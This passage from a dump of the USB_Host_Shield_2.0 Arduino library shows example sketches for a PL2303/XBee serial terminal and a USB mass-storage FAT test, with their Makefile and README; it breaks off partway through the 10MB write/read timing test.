    "content": "/* Arduino terminal for PL2303 USB to serial converter and XBee radio. */\n/* Inserts linefeed after carriage return in data sent to and received from Xbee */\n/* USB support */\n#include <usbhub.h>\n/* CDC support */\n#include <cdcacm.h>\n#include <cdcprolific.h>\n\n// Satisfy the IDE, which needs to see the include statment in the ino too.\n#ifdef dobogusinclude\n#include <spi4teensy3.h>\n#endif\n#include <SPI.h>\n\nclass PLAsyncOper : public CDCAsyncOper\n{\npublic:\n    uint8_t OnInit(ACM *pacm);\n};\n\nuint8_t PLAsyncOper::OnInit(ACM *pacm)\n{\n    uint8_t rcode;\n\n    // Set DTR = 1\n    rcode = pacm->SetControlLineState(1);\n\n    if (rcode)\n    {\n        ErrorMessage<uint8_t>(PSTR(\"SetControlLineState\"), rcode);\n        return rcode;\n    }\n\n    LINE_CODING\tlc;\n    lc.dwDTERate\t= 115200;\n    lc.bCharFormat\t= 0;\n    lc.bParityType\t= 0;\n    lc.bDataBits\t= 8;\n\n    rcode = pacm->SetLineCoding(&lc);\n\n    if (rcode)\n        ErrorMessage<uint8_t>(PSTR(\"SetLineCoding\"), rcode);\n\n    return rcode;\n}\nUSB     Usb;\n//USBHub     Hub(&Usb);\nPLAsyncOper  AsyncOper;\nPL2303       Pl(&Usb, &AsyncOper);\n\nvoid setup()\n{\n  Serial.begin( 115200 );\n#if !defined(__MIPSEL__)\n  while (!Serial); // Wait for serial port to connect - used on Leonardo, Teensy and other boards with built-in USB CDC serial connection\n#endif\n  Serial.println(\"Start\");\n\n  if (Usb.Init() == -1)\n      Serial.println(\"OSCOKIRQ failed to assert\");\n\n  delay( 200 );\n}\n\nvoid loop()\n{\n    Usb.Task();\n\n    if( Usb.getUsbTaskState() == USB_STATE_RUNNING )\n    {\n       uint8_t rcode;\n\n       /* reading the keyboard */\n       if(Serial.available()) {\n         uint8_t data= Serial.read();\n\n         if ( data == '\\r' ) {\n           Serial.print(\"\\r\\n\");  //insert linefeed\n         }\n         else {\n           Serial.print( data );  //echo back to the screen\n         }\n\n         /* sending to the phone */\n         rcode = Pl.SndData(1, &data);\n         if (rcode)\n            ErrorMessage<uint8_t>(PSTR(\"SndData\"), rcode);\n       }//if(Serial.available()...\n\n       delay(50);\n\n        /* reading the converter */\n        /* buffer size must be greater or equal to max.packet size */\n        /* it it set to 64 (largest possible max.packet size) here, can be tuned down\n        for particular endpoint */\n        uint8_t  buf[64];\n        uint16_t rcvd = 64;\n        rcode = Pl.RcvData(&rcvd, buf);\n         if (rcode && rcode != hrNAK)\n            ErrorMessage<uint8_t>(PSTR(\"Ret\"), rcode);\n\n            if( rcvd ) { //more than zero bytes received\n              for(uint16_t i=0; i < rcvd; i++ ) {\n                if( buf[i] =='\\r' ) {\n                  Serial.print(\"\\r\\n\");  //insert linefeed\n                }\n                else {\n                  Serial.print((char)buf[i]); //printing on the screen\n                }\n              }\n            }\n        delay(10);\n    }//if( Usb.getUsbTaskState() == USB_STATE_RUNNING..\n}\n\n\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/testusbhostFAT/Makefile",
    "content": "#\n# These are set for a mega 1280 + quadram plus my serial patch.\n# If you lack quadram, or want to disable LFN, just change _FS_TINY=1 _USE_LFN=0\n#\n# If your board is a mega 2560 comment out the following two lines\nBOARD = mega\n\nBOARD_SUB = mega.menu.cpu.atmega1280\nPROGRAMMER = arduino\n\n# ...and then uncomment out the following two lines\n#BOARD_SUB = mega.menu.cpu.atmega2560\n#PROGRAMMER = wiring\n\n#BOARD = teensypp2\n#BOARD = teensy3\n#BOARD = teensy31\n\n# set your Arduino tty port here\nPORT = /dev/ttyUSB0\n\nEXTRA_FLAGS = -D _USE_LFN=3\n\n# change to 0 if you have quadram to take advantage of caching FAT\nEXTRA_FLAGS += -D _FS_TINY=1\n\n\nEXTRA_FLAGS += -D _MAX_SS=512\n\n\n# Don't worry if you don't have external RAM, xmem2 detects this situation.\n# You *WILL* be wanting to get some kind of external ram on your mega in order to\n# do anything that is intense.\nEXTRA_FLAGS += -D EXT_RAM_STACK=1\nEXTRA_FLAGS += -D EXT_RAM_HEAP=1\n\n\n# These are no longer needed for the demo to work.\n# In the event you need more ram, uncomment these 3 lines.\n#EXTRA_FLAGS += -D DISABLE_SERIAL1\n#EXTRA_FLAGS += -D DISABLE_SERIAL2\n#EXTRA_FLAGS += -D DISABLE_SERIAL3\n\n#\n# Advanced debug on Serial3\n#\n\n# uncomment the next two to enable debug on Serial3\nEXTRA_FLAGS += -D USB_HOST_SERIAL=Serial3\n#EXTRA_FLAGS += -D DEBUG_USB_HOST\n\n# The following are the libraries used.\nLIB_DIRS += ../../\nLIB_DIRS += ../testusbhostFAT/xmem2\nLIB_DIRS += ../testusbhostFAT/generic_storage\nLIB_DIRS += ../testusbhostFAT/RTClib\nLIB_DIRS += $(ARD_HOME)/libraries/Wire\nLIB_DIRS += $(ARD_HOME)/libraries/Wire/utility\nLIB_DIRS += $(ARD_HOME)/hardware/arduino/$(BUILD_ARCH)/libraries/Wire\nLIB_DIRS += $(ARD_HOME)/hardware/arduino/$(BUILD_ARCH)/libraries/Wire/utility\nLIB_DIRS += $(ARD_HOME)/hardware/arduino/$(BUILD_ARCH)/libraries/SPI\n\n# And finally, the part that brings everything together for you.\ninclude Arduino_Makefile_master/_Makefile.master\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/testusbhostFAT/README.md",
    "content": "This small sketch tests the USB host shield mass storage library.\n\n__Note:__ This will not run a Arduino Uno due to the limited ram available in the ATmega328p.\n\nThe Arduino Mega (ATmega1280) and the Arduino Mega 2560 (ATmega2560) are confirmed to work with this test code.\n\nTo compile this example you will need the following libraries as well:\n\n* [xmem2](https://github.com/xxxajk/xmem2)\n* [generic_storage FATfs](https://github.com/xxxajk/generic_storage)\n* [RTClib](https://github.com/xxxajk/RTClib)\n\nThe following shield is recommended for larger projects: <http://ruggedcircuits.com/html/quadram.html>.\n\nYou may use the bundled [Makefile](Makefile) to compile the code instead of the Arduino IDE if you have problems or want a smaller binary. The master makefile is bundled as a submodule, but can also be downloaded manually at the following link: <https://github.com/xxxajk/Arduino_Makefile_master>.\n\nTo download the USB Host library and all the needed libraries for this test.\n\nRun the following command in a terminal application:\n\n```\ngit clone --recursive https://github.com/felis/USB_Host_Shield_2.0\n```\n\nIf you want to update all the submodules run:\n\n```\ngit submodule foreach --recursive git pull origin master\n```\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/examples/testusbhostFAT/testusbhostFAT.ino",
    "content": "/*\n * Mega + USB storage + optional DS1307 + optional expansion RAM + funky status LED,\n * Includes interactive debug level setting, and supports hot-plug.\n *\n * IMPORTANT! PLEASE USE Arduino 1.0.5 or better!\n * Older versions HAVE MAJOR BUGS AND WILL NOT WORK AT ALL!\n * Use of gcc-avr and lib-c that is newer than the Arduino version is even better.\n * If you experience random crashes, use make.\n * The options that the IDE use can generate bad code and cause the AVR to crash.\n *\n * This sketch requires the following libraries:\n * https://github.com/felis/USB_Host_Shield_2.0 Install as 'USB_Host_Shield_2_0'\n * https://github.com/xxxajk/xmem2 Install as 'xmem', provides memory services.\n * https://github.com/xxxajk/generic_storage provides access to FAT file system.\n * https://github.com/xxxajk/RTClib provides access to DS1307, or fake clock.\n *\n * Optional, to use the Makefile (Recommended! See above!):\n * https://github.com/xxxajk/Arduino_Makefile_master\n *\n */\n\n/////////////////////////////////////////////////////////////\n// Please Note:                                            //\n// This section is for info with the Arduino IDE ONLY.     //\n// Unfortunately due to short sightedness of the Arduino   //\n// code team, that you must set the following in the       //\n// respective libraries.                                   //\n// Changing them here will have _NO_ effect!               //\n/////////////////////////////////////////////////////////////\n\n// Uncomment to enable debugging\n//#define DEBUG_USB_HOST\n// This is where stderr/USB debugging goes to\n//#define USB_HOST_SERIAL Serial3\n\n// If you have external memory, setting this to 0 enables FAT table caches.\n// The 0 setting is recommended only if you have external memory.\n//#define _FS_TINY 1\n\n//#define _USE_LFN 3\n//#define _MAX_SS 512\n\n\n/////////////////////////////////////////////////////////////\n// End of Arduino IDE specific information                 //\n/////////////////////////////////////////////////////////////\n\n// You can set this to 0 if you are not using a USB hub.\n// It will save a little bit of flash and RAM.\n// Set to 1 if you want to use a hub.\n#define WANT_HUB_TEST 1\n\n// this is for XMEM2\n#define EXT_RAM_STACK 1\n#define EXT_RAM_HEAP 1\n#define LOAD_XMEM\n\n#if defined(CORE_TEENSY) && !defined(_AVR_)\n#include <xmem.h>\n#include <spi4teensy3.h>\n#include <SPI.h>\n#endif\n\n#if defined(__AVR__)\n#include <xmem.h>\n#elif defined(ARDUINO_ARCH_SAM)\n#include <SPI.h>\n#endif\n\n#if WANT_HUB_TEST\n#include <usbhub.h>\n#endif\n#include <Wire.h>\n#define LOAD_RTCLIB\n#include <RTClib.h>\n#include <masstorage.h>\n#include <Storage.h>\n#include <PCpartition/PCPartition.h>\n#include <avr/interrupt.h>\n#include <FAT/FAT.h>\n#include <stdio.h>\n#if defined(__AVR__)\nstatic FILE tty_stdio;\nstatic FILE tty_stderr;\nvolatile uint32_t LEDnext_time; // fade timeout\nvolatile uint32_t HEAPnext_time; // when to print out next heap report\nvolatile int brightness = 0; // how bright the LED is\nvolatile int fadeAmount = 80; // how many points to fade the LED by\n#endif\n\nUSB Usb;\n\nvolatile uint8_t current_state = 1;\nvolatile uint8_t last_state = 0;\nvolatile bool fatready = false;\nvolatile bool partsready = false;\nvolatile bool notified = false;\nvolatile bool runtest = false;\nvolatile bool usbon = false;\nvolatile uint32_t usbon_time;\nvolatile bool change = false;\nvolatile bool reportlvl = false;\nint cpart = 0;\nPCPartition *PT;\n\n#if WANT_HUB_TEST\n#define MAX_HUBS 1\nUSBHub *Hubs[MAX_HUBS];\n#endif\n\nstatic PFAT *Fats[_VOLUMES];\nstatic part_t parts[_VOLUMES];\nstatic storage_t sto[_VOLUMES];\n\n/*make sure this is a power of two. */\n#define mbxs 128\nstatic uint8_t My_Buff_x[mbxs]; /* File read buffer */\n\n#if defined(__AVR__)\n\n#define prescale1       ((1 << WGM12) | (1 << CS10))\n#define prescale8       ((1 << WGM12) | (1 << CS11))\n#define prescale64      ((1 << WGM12) | (1 << CS10) | (1 << CS11))\n#define prescale256     ((1 << WGM12) | (1 << CS12))\n#define prescale1024    ((1 << WGM12) | (1 << CS12) | (1 << CS10))\n\nextern \"C\" {\n         extern unsigned int freeHeap();\n}\nstatic int tty_stderr_putc(char c, FILE *t) {\n        USB_HOST_SERIAL.write(c);\n        return 0;\n}\n\nstatic int __attribute__((unused)) tty_stderr_flush(FILE *t) {\n        USB_HOST_SERIAL.flush();\n        return 0;\n}\n\nstatic int tty_std_putc(char c, FILE *t) {\n        Serial.write(c);\n        return 0;\n}\n\nstatic int tty_std_getc(FILE *t) {\n        while(!Serial.available());\n        return Serial.read();\n}\n\nstatic int __attribute__((unused)) tty_std_flush(FILE *t) {\n        Serial.flush();\n        return 0;\n}\n\n#else\n// Supposedly the DUE has stdio already pointing to serial...\n#if !defined(ARDUINO_ARCH_SAM)\n// But newlib needs this...\nextern \"C\" {\n        int _write(int fd, const char *ptr, int len) {\n                int j;\n                for(j = 0; j < len; j++) {\n                        if(fd == 1)\n                                Serial.write(*ptr++);\n                        else if(fd == 2)\n                                USB_HOST_SERIAL.write(*ptr++);\n                }\n                return len;\n        }\n\n        int _read(int fd, char *ptr, int len) {\n                if(len > 0 && fd == 0) {\n                        while(!Serial.available());\n                        *ptr = Serial.read();\n                        return 1;\n                }\n                return 0;\n        }\n\n#include <sys/stat.h>\n\n        int _fstat(int fd, struct stat *st) {\n                memset(st, 0, sizeof (*st));\n                st->st_mode = S_IFCHR;\n                st->st_blksize = 1024;\n                return 0;\n        }\n\n        int _isatty(int fd) {\n                return (fd < 3) ? 1 : 0;\n        }\n}\n#endif // !defined(ARDUINO_ARCH_SAM)\n#endif\n\nvoid setup() {\n        bool serr = false;\n        for(int i = 0; i < _VOLUMES; i++) {\n                Fats[i] = NULL;\n                sto[i].private_data = new pvt_t;\n                ((pvt_t *)sto[i].private_data)->B = 255; // impossible\n        }\n        // Set this to higher values to enable more debug information\n        // minimum 0x00, maximum 0xff\n        UsbDEBUGlvl = 0x81;\n\n#if !defined(CORE_TEENSY) && defined(__AVR__)\n        // make LED pin as an output:\n        pinMode(LED_BUILTIN, OUTPUT);\n        pinMode(2, OUTPUT);\n        // Ensure TX is off\n        _SFR_BYTE(UCSR0B) &= ~_BV(TXEN0);\n        // Initialize 'debug' serial port\n        USB_HOST_SERIAL.begin(115200);\n        // Do not start primary Serial port if already started.\n        if(bit_is_clear(UCSR0B, TXEN0)) {\n                Serial.begin(115200);\n                serr = true;\n        }\n\n\n        // Blink LED\n        delay(500);\n        analogWrite(LED_BUILTIN, 255);\n        delay(500);\n        analogWrite(LED_BUILTIN, 0);\n        delay(500);\n#else\n        while(!Serial);\n        Serial.begin(115200); // On the Teensy 3.x we get a delay at least!\n#endif\n#if defined(__AVR__)\n        // Set up stdio/stderr\n        tty_stdio.put = tty_std_putc;\n        tty_stdio.get = tty_std_getc;\n        tty_stdio.flags = _FDEV_SETUP_RW;\n        tty_stdio.udata = 0;\n\n        tty_stderr.put = tty_stderr_putc;\n        tty_stderr.get = NULL;\n        tty_stderr.flags = _FDEV_SETUP_WRITE;\n        tty_stderr.udata = 0;\n\n        stdout = &tty_stdio;\n        stdin = &tty_stdio;\n        stderr = &tty_stderr;\n#endif\n        printf_P(PSTR(\"\\r\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\nStart\\r\\n\"));\n        printf_P(PSTR(\"Current UsbDEBUGlvl %02x\\r\\n\"), UsbDEBUGlvl);\n        printf_P(PSTR(\"'+' and '-' increase/decrease by 0x01\\r\\n\"));\n        printf_P(PSTR(\"'.' and ',' increase/decrease by 0x10\\r\\n\"));\n        printf_P(PSTR(\"'t' will run a 10MB write/read test and print out the time it took.\\r\\n\"));\n        printf_P(PSTR(\"'e' will toggle vbus off for a few moments.\\r\\n\\r\\n\"));\n        printf_P(PSTR(\"Long filename support: \"\n#if _USE_LFN\n                \"Enabled\"\n#else\n                \"Disabled\"\n#endif\n                \"\\r\\n\"));\n        if(serr) {\n                fprintf_P(stderr, PSTR(\"\\r\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\nStart\\r\\n\"));\n                fprintf_P(stderr, PSTR(\"Current UsbDEBUGlvl %02x\\r\\n\"), UsbDEBUGlvl);\n                fprintf_P(stderr, PSTR(\"Long filename support: \"\n#if _USE_LFN\n                        \"Enabled\"\n#else\n                        \"Disabled\"\n#endif\n                        \"\\r\\n\"));\n        }\n\n#if !defined(CORE_TEENSY) && defined(__AVR__)\n        analogWrite(LED_BUILTIN, 255);\n        delay(500);\n        analogWrite(LED_BUILTIN, 0);\n        delay(500);\n        analogWrite(LED_BUILTIN, 255);\n        delay(500);\n        analogWrite(LED_BUILTIN, 0);\n        delay(500);\n        analogWrite(LED_BUILTIN, 255);\n        delay(500);\n        analogWrite(LED_BUILTIN, 0);\n        delay(500);\n\n        LEDnext_time = (uint32_t)millis() + 1;\n#if EXT_RAM\n        printf_P(PSTR(\"Total EXT RAM banks %i\\r\\n\"), xmem::getTotalBanks());\n#endif\n        printf_P(PSTR(\"Available heap: %u Bytes\\r\\n\"), freeHeap());\n        printf_P(PSTR(\"SP %x\\r\\n\"), (uint8_t *)(SP));\n#endif\n\n        // Even though I'm not going to actually be deleting,\n        // I want to be able to have slightly more control.\n        // Besides, it is easier to initialize stuff...\n#if WANT_HUB_TEST\n        for(int i = 0; i < MAX_HUBS; i++) {\n                Hubs[i] = new USBHub(&Usb);\n#if defined(__AVR__)\n                printf_P(PSTR(\"Available heap: %u Bytes\\r\\n\"), freeHeap());\n#endif\n        }\n#endif\n        // Initialize generic storage. This must be done before USB starts.\n        Init_Generic_Storage();\n\n        while(Usb.Init(1000) == -1) {\n                printf_P(PSTR(\"No USB HOST Shield?\\r\\n\"));\n                Notify(PSTR(\"OSC did not start.\"), 0x40);\n        }\n\n#if !defined(CORE_TEENSY) && defined(__AVR__)\n        cli();\n        TCCR3A = 0;\n        TCCR3B = 0;\n        // (0.01/(1/((16 *(10^6)) / 8))) - 1 = 19999\n        OCR3A = 19999;\n        TCCR3B |= prescale8;\n        TIMSK3 |= (1 << OCIE1A);\n        sei();\n\n        HEAPnext_time = (uint32_t)millis() + 10000;\n#endif\n#if defined(__AVR__)\n        HEAPnext_time = (uint32_t)millis() + 10000;\n#endif\n}\n\nvoid serialEvent() {\n        // Adjust UsbDEBUGlvl level on-the-fly.\n        // + to increase, - to decrease, * to display current level.\n        // . to increase by 16, , to decrease by 16\n        // e to flick VBUS\n        // * to report debug level\n        if(Serial.available()) {\n                int inByte = Serial.read();\n                switch(inByte) {\n                        case '+':\n                                if(UsbDEBUGlvl < 0xff) UsbDEBUGlvl++;\n                                reportlvl = true;\n                                break;\n                        case '-':\n                                if(UsbDEBUGlvl > 0x00) UsbDEBUGlvl--;\n                                reportlvl = true;\n                                break;\n                        case '.':\n                                if(UsbDEBUGlvl < 0xf0) UsbDEBUGlvl += 16;\n                                reportlvl = true;\n                                break;\n                        case ',':\n                                if(UsbDEBUGlvl > 0x0f) UsbDEBUGlvl -= 16;\n                                reportlvl = true;\n                                break;\n                        case '*':\n                                reportlvl = true;\n                                break;\n                        case 't':\n                                runtest = true;\n                                break;\n                        case 'e':\n                                change = true;\n                                usbon = false;\n                                break;\n                }\n        }\n}\n\n#if !defined(CORE_TEENSY) && defined(__AVR__)\n// ALL teensy versions LACK PWM ON LED\n\nISR(TIMER3_COMPA_vect) {\n        if((int32_t)((uint32_t)millis() - LEDnext_time) >= 0L) {\n                LEDnext_time = (uint32_t)millis() + 30;\n\n                // set the brightness of LED\n                analogWrite(LED_BUILTIN, brightness);\n\n                // change the brightness for next time through the loop:\n                brightness = brightness + fadeAmount;\n\n                // reverse the direction of the fading at the ends of the fade:\n                if(brightness <= 0) {\n                        brightness = 0;\n                        fadeAmount = -fadeAmount;\n                }\n                if(brightness >= 255) {\n                        brightness = 255;\n                        fadeAmount = -fadeAmount;\n                }\n        }\n}\n#endif\n\nbool isfat(uint8_t t) {\n        return (t == 0x01 || t == 0x04 || t == 0x06 || t == 0x0b || t == 0x0c || t == 0x0e || t == 0x1);\n}\n\nvoid die(FRESULT rc) {\n        printf_P(PSTR(\"Failed with rc=%u.\\r\\n\"), rc);\n        //for (;;);\n}\n\nvoid loop() {\n        FIL My_File_Object_x; /* File object */\n\n#if defined(__AVR__)\n        // Print a heap status report about every 10 seconds.\n        if((int32_t)((uint32_t)millis() - HEAPnext_time) >= 0L) {\n                if(UsbDEBUGlvl > 0x50) {\n                        printf_P(PSTR(\"Available heap: %u Bytes\\r\\n\"), freeHeap());\n                }\n                HEAPnext_time = (uint32_t)millis() + 10000;\n        }\n        TCCR3B = 0;\n#endif\n#if defined(CORE_TEENSY)\n        // Teensy suffers here, oh well...\n        serialEvent();\n#endif\n        // Horrid! This sort of thing really belongs in an ISR, not here!\n        // We also will be needing to test each hub port, we don't do this yet!\n        if(!change && !usbon && (int32_t)((uint32_t)millis() - usbon_time) >= 0L) {\n                change = true;\n                usbon = true;\n        }\n\n        if(change) {\n                change = false;\n                if(usbon) {\n                        Usb.vbusPower(vbus_on);\n                        printf_P(PSTR(\"VBUS on\\r\\n\"));\n                } else {\n                        Usb.vbusPower(vbus_off);\n                        usbon_time = (uint32_t)millis() + 2000;\n                }\n        }\n        Usb.Task();\n        current_state = Usb.getUsbTaskState();\n        if(current_state != last_state) {\n                if(UsbDEBUGlvl > 0x50)\n                        printf_P(PSTR(\"USB state = %x\\r\\n\"), current_state);\n#if !defined(CORE_TEENSY) && defined(__AVR__)\n                if(current_state == USB_STATE_RUNNING) {\n                        fadeAmount = 30;\n                }\n#endif\n                if(current_state == USB_DETACHED_SUBSTATE_WAIT_FOR_DEVICE) {\n#if !defined(CORE_TEENSY) && defined(__AVR__)\n                        fadeAmount = 80;\n#endif\n                        partsready = false;\n                        for(int i = 0; i < cpart; i++) {\n                                if(Fats[i] != NULL)\n                                        delete Fats[i];\n                                Fats[i] = NULL;\n                        }\n                        fatready = false;\n                        notified = false;\n                        cpart = 0;\n                }\n                last_state = current_state;\n        }\n\n        // only do any of this if usb is on\n        if(usbon) {\n                if(partsready && !fatready) {\n                        if(cpart > 0) fatready = true;\n                }\n                // This is horrible, and needs to be moved elsewhere!\n                for(int B = 0; B < MAX_USB_MS_DRIVERS; B++) {\n                        if((!partsready) && (UHS_USB_BulkOnly[B]->GetAddress())) {\n\n                                // Build a list.\n                                int ML = UHS_USB_BulkOnly[B]->GetbMaxLUN();\n                                //printf(\"MAXLUN = %i\\r\\n\", ML);\n                                ML++;\n                                for(int i = 0; i < ML; i++) {\n                                        if(UHS_USB_BulkOnly[B]->LUNIsGood(i)) {\n                                                partsready = true;\n                                                ((pvt_t *)(sto[i].private_data))->lun = i;\n                                                ((pvt_t *)(sto[i].private_data))->B = B;\n                                                sto[i].Reads = *UHS_USB_BulkOnly_Read;\n                                                sto[i].Writes = *UHS_USB_BulkOnly_Write;\n                                                sto[i].Status = *UHS_USB_BulkOnly_Status;\n                                                sto[i].Initialize = *UHS_USB_BulkOnly_Initialize;\n                                                sto[i].Commit = *UHS_USB_BulkOnly_Commit;\n                                                sto[i].TotalSectors = UHS_USB_BulkOnly[B]->GetCapacity(i);\n                                                sto[i].SectorSize = UHS_USB_BulkOnly[B]->GetSectorSize(i);\n                                                printf_P(PSTR(\"LUN:\\t\\t%u\\r\\n\"), i);\n                                                printf_P(PSTR(\"Total Sectors:\\t%08lx\\t%lu\\r\\n\"), sto[i].TotalSectors, sto[i].TotalSectors);\n                                                printf_P(PSTR(\"Sector Size:\\t%04x\\t\\t%u\\r\\n\"), sto[i].SectorSize, sto[i].SectorSize);\n                                                // get the partition data...\n                                                PT = new PCPartition;\n\n                                                if(!PT->Init(&sto[i])) {\n                                                        part_t *apart;\n                                                        for(int j = 0; j < 4; j++) {\n                                                                apart = PT->GetPart(j);\n                                                                if(apart != NULL && apart->type != 0x00) {\n                                                                        memcpy(&(parts[cpart]), apart, sizeof (part_t));\n                                                                        printf_P(PSTR(\"Partition %u type %#02x\\r\\n\"), j, parts[cpart].type);\n                                                                        // for now\n                                                                        if(isfat(parts[cpart].type)) {\n                                                                                Fats[cpart] = new PFAT(&sto[i], cpart, parts[cpart].firstSector);\n                                                                                //int r = Fats[cpart]->Good();\n                                                                                if(Fats[cpart]->MountStatus()) {\n                                                                                        delete Fats[cpart];\n                                                                                        Fats[cpart] = NULL;\n                                                                                } else cpart++;\n                                                                        }\n                                                                }\n                                                        }\n                                                } else {\n                                                        // try superblock\n                                                        Fats[cpart] = new PFAT(&sto[i], cpart, 0);\n                                                        //int r = Fats[cpart]->Good();\n                                                        if(Fats[cpart]->MountStatus()) {\n                                                                //printf_P(PSTR(\"Superblock error %x\\r\\n\"), r);\n                                                                delete Fats[cpart];\n                                                                Fats[cpart] = NULL;\n                                                        } else cpart++;\n\n                                                }\n                                                delete PT;\n                                        } else {\n                                                sto[i].Writes = NULL;\n                                                sto[i].Reads = NULL;\n                                                sto[i].Initialize = NULL;\n                                                sto[i].TotalSectors = 0UL;\n                                                sto[i].SectorSize = 0;\n                                        }\n                                }\n\n                        }\n                }\n\n                if(fatready) {\n                        if(Fats[0] != NULL) {\n                                struct Pvt * p;\n                                p = ((struct Pvt *)(Fats[0]->storage->private_data));\n                                if(!UHS_USB_BulkOnly[p->B]->LUNIsGood(p->lun)) {\n                                        // media change\n#if !defined(CORE_TEENSY) && defined(__AVR__)\n                                        fadeAmount = 80;\n#endif\n                                        partsready = false;\n                                        for(int i = 0; i < cpart; i++) {\n                                                if(Fats[i] != NULL)\n                                                        delete Fats[i];\n                                                Fats[cpart] = NULL;\n                                        }\n                                        fatready = false;\n                                        notified = false;\n                                        cpart = 0;\n                                }\n\n                        }\n                }\n                if(fatready) {\n                        FRESULT rc; /* Result code */\n                        UINT bw, br, i;\n                        if(!notified) {\n#if !defined(CORE_TEENSY) && defined(__AVR__)\n                                fadeAmount = 5;\n#endif\n                                notified = true;\n                                FATFS *fs = NULL;\n                                for(int zz = 0; zz < _VOLUMES; zz++) {\n                                        if(Fats[zz]->volmap == 0) fs = Fats[zz]->ffs;\n                                }\n                                printf_P(PSTR(\"\\r\\nOpen an existing file (message.txt).\\r\\n\"));\n                                rc = f_open(&My_File_Object_x, \"0:/MESSAGE.TXT\", FA_READ);\n                                if(rc) printf_P(PSTR(\"Error %i, message.txt not found.\\r\\n\"), rc);\n                                else {\n                                        printf_P(PSTR(\"\\r\\nType the file content.\\r\\n\"));\n                                        for(;;) {\n                                                rc = f_read(&My_File_Object_x, My_Buff_x, mbxs, &br); /* Read a chunk of file */\n                                                if(rc || !br) break; /* Error or end of file */\n                                                for(i = 0; i < br; i++) {\n                                                        /* Type the data */\n                                                        if(My_Buff_x[i] == '\\n')\n                                                                Serial.write('\\r');\n                                                        if(My_Buff_x[i] != '\\r')\n                                                                Serial.write(My_Buff_x[i]);\n                                                        Serial.flush();\n                                                }\n                                        }\n                                        if(rc) {\n                                                f_close(&My_File_Object_x);\n                                                goto out;\n                                        }\n\n                                        printf_P(PSTR(\"\\r\\nClose the file.\\r\\n\"));\n                                        rc = f_close(&My_File_Object_x);\n                                        if(rc) goto out;\n                                }\n                                printf_P(PSTR(\"\\r\\nCreate a new file (hello.txt).\\r\\n\"));\n                                rc = f_open(&My_File_Object_x, \"0:/Hello.TxT\", FA_WRITE | FA_CREATE_ALWAYS);\n                                if(rc) {\n                                        die(rc);\n                                        goto outdir;\n                                }\n                                printf_P(PSTR(\"\\r\\nWrite a text data. (Hello world!)\\r\\n\"));\n                                rc = f_write(&My_File_Object_x, \"Hello world!\\r\\n\", 14, &bw);\n                                if(rc) {\n                                        goto out;\n                                }\n                                printf_P(PSTR(\"%u bytes written.\\r\\n\"), bw);\n\n                                printf_P(PSTR(\"\\r\\nClose the file.\\r\\n\"));\n                                rc = f_close(&My_File_Object_x);\n                                if(rc) {\n                                        die(rc);\n                                        goto out;\n                                }\noutdir:{\n#if _USE_LFN\n                                        char lfn[_MAX_LFN + 1];\n                                        FILINFO My_File_Info_Object_x; /* File information object */\n                                        My_File_Info_Object_x.lfname = lfn;\n#endif\n                                        DIR My_Dir_Object_x; /* Directory object */\n                                        printf_P(PSTR(\"\\r\\nOpen root directory.\\r\\n\"));\n                                        rc = f_opendir(&My_Dir_Object_x, \"0:/\");\n                                        if(rc) {\n                                                die(rc);\n                                                goto out;\n                                        }\n\n                                        printf_P(PSTR(\"\\r\\nDirectory listing...\\r\\n\"));\n#if defined(__AVR__)\n                                        printf_P(PSTR(\"Available heap: %u Bytes\\r\\n\"), freeHeap());\n#endif\n                                        for(;;) {\n#if _USE_LFN\n                                                My_File_Info_Object_x.lfsize = _MAX_LFN;\n#endif\n\n                                                rc = f_readdir(&My_Dir_Object_x, &My_File_Info_Object_x); /* Read a directory item */\n                                                if(rc || !My_File_Info_Object_x.fname[0]) break; /* Error or end of dir */\n\n                                                if(My_File_Info_Object_x.fattrib & AM_DIR) {\n                                                        Serial.write('d');\n                                                } else {\n                                                        Serial.write('-');\n                                                }\n                                                Serial.write('r');\n\n                                                if(My_File_Info_Object_x.fattrib & AM_RDO) {\n                                                        Serial.write('-');\n                                                } else {\n                                                        Serial.write('w');\n                                                }\n                                                if(My_File_Info_Object_x.fattrib & AM_HID) {\n                                                        Serial.write('h');\n                                                } else {\n                                                        Serial.write('-');\n                                                }\n\n                                                if(My_File_Info_Object_x.fattrib & AM_SYS) {\n                                                        Serial.write('s');\n                                                } else {\n                                                        Serial.write('-');\n                                                }\n\n                                                if(My_File_Info_Object_x.fattrib & AM_ARC) {\n                                                        Serial.write('a');\n                                                } else {\n                                                        Serial.write('-');\n                                                }\n\n#if _USE_LFN\n                                                if(*My_File_Info_Object_x.lfname)\n                                                        printf_P(PSTR(\" %8lu  %s (%s)\\r\\n\"), My_File_Info_Object_x.fsize, My_File_Info_Object_x.fname, My_File_Info_Object_x.lfname);\n                                                else\n#endif\n                                                        printf_P(PSTR(\" %8lu  %s\\r\\n\"), My_File_Info_Object_x.fsize, &(My_File_Info_Object_x.fname[0]));\n                                        }\n                                }\nout:\n                                if(rc) die(rc);\n\n                                DISK_IOCTL(fs->drv, CTRL_COMMIT, 0);\n                                printf_P(PSTR(\"\\r\\nTest completed.\\r\\n\"));\n\n                        }\n\n                        if(runtest) {\n                                ULONG ii, wt, rt, start, end;\n                                FATFS *fs = NULL;\n                                for(int zz = 0; zz < _VOLUMES; zz++) {\n                                        if(Fats[zz]->volmap == 0) fs = Fats[zz]->ffs;\n                                }\n                                runtest = false;\n                                f_unlink(\"0:/10MB.bin\");\n                                printf_P(PSTR(\"\\r\\nCreate a new 10MB test file (10MB.bin).\\r\\n\"));\n                                rc = f_open(&My_File_Object_x, \"0:/10MB.bin\", FA_WRITE | FA_CREATE_ALWAYS);\n                                if(rc) goto failed;\n                                for(bw = 0; bw < mbxs; bw++) My_Buff_x[bw] = bw & 0xff;\n                                fflush(stdout);\n                                start = (uint32_t)millis();\n                                while(start == (uint32_t)millis());\n                                for(ii = 10485760LU / mbxs; ii > 0LU; ii--) {\n                                        rc = f_write(&My_File_Object_x, My_Buff_x, mbxs, &bw);\n                                        if(rc || !bw) goto failed;\n                                }\n                                rc = f_close(&My_File_Object_x);\n                                if(rc) goto failed;\n                                end = (uint32_t)millis();\n                                wt = (end - start) - 1;\n                                printf_P(PSTR(\"Time to write 10485760 bytes: %lu ms (%lu sec) \\r\\n\"), wt, (500 + wt) / 1000UL);\n                                rc = f_open(&My_File_Object_x, \"0:/10MB.bin\", 